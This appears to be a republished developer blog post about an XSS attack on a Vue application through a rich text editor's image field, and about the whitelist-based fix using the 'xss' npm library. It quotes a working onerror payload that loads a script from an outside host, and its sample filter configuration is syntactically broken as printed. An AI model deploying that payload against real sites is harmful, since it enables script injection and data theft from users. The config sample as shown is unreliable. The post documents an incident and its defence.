A practical record of encountering XSS attack in a VUE project

Preface

With the rapid development of the Internet, information security issues have become one of the most concerned focuses of enterprises, and the front end is a high-risk stronghold that causes enterprise security problems. In the era of mobile Internet, front-end personnel, in addition to traditional security issues such as XSS and CSRF, often encounter new security issues such as network hijacking and illegal calls to Hybrid APIs. Of course, browsers themselves are constantly evolving and developing, constantly introducing new technologies such as CSP and Same-Site Cookies to enhance security, but there are still many potential threats, which requires front-end technicians to constantly "check for leaks and fill in the gaps."

Discover the cause

All the blame lies with the rich text editor...

The text field was modified to a rich text editor as required to support users to paste pictures directly, which was attacked by users uploading pictures from the Internet.

Attack code 1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

When the data is echoed, the image reports an error and executes the onerror event, causing the current page to be screenshoted and sent to the specified mailbox

The initial solution was to directly disable the rich text editor method of uploading online images, but the attack was repeated again. The attacker used "fiddler" to modify the parameters to achieve the same effect.

Finally, a third-party XSS attack protection plug-in was used and the problem was solved by configuring a whitelist, which was filtered when submitting and getting the backend return data.

Plugin Chinese documentation address: github.com/leizongmin/…

npm install xss

import filterXSS from "xss"

Custom filtering rules

When calling the xss() function for filtering, you can set custom rules through the second parameter:

options = {}; // Custom rules html = filterXSS('<script>alert("xss");</script>', options);

Specified by whiteList, the format is: {'tag name': ['attribute 1', 'attribute 2']}. Tags that are not on the whitelist will be filtered, and attributes that are not on the whitelist will also be filtered.

let options = {
    stripIgnoreTagBody: true, // Tags not in the whitelist and their contents are directly deleted whiteList: {
        h1: ["style"],
        h2: ["style"],
        h3: ["style"],
        h4: ["style"],
        h5: ["style"],
        h6: ["style"],
        hr: ["style"],
        span: ["style"],
        strong: ["style"],
        b: ["style"],
        i: ["style"],
        br: [],
        p: ["style"],
        pre: ["style"],
        code: ["style"],
        a: ["style", "target", "href", "title", "rel"],
        img: ["style", "src", "title"],
        div: ["style"],
        table: ["style", "width", "border"],
        tr: ["style"],
        td: ["style", "width", "colspan"],
        th: ["style", "width", "colspan"],
        tbody: ["style"],
        ul: ["style"],
        li: ["style"],
        ol: ["style"],
        dl: ["style"],
        dt: ["style"],
        em: ["style"],
        cite: ["style"],
        section: ["style"],
        header: ["style"],
        footer: ["style"],
        blockquote: ["style"],
        audio: ["autoplay", "controls", "loop", "preload", "src"],
        video:
          "autoplay",
          "controls",
          "loop",
          "preload",
          "src",
          "height",
          "width",
        ],
     },
     css: {
     // Because the style attribute of the tag is allowed in the whitelist above, it is necessary to prevent attackers from using this method to attack whiteList: {
          color: true,
          "background-color": true,
          width: true,
          height: true,
          "max-width": true,
          "max-height": true,
          "min-width": true,
          "min-height": true,
          "font-size": true,
        },
    },
}

content = filterXSS(content,options)

Summarize

This is the end of this article about XSS attacks encountered in VUE projects. For more relevant VUE project XSS attacks, please search for previous articles on 123WORDPRESS.COM or continue to browse the following related articles. I hope everyone will support 123WORDPRESS.COM in the future!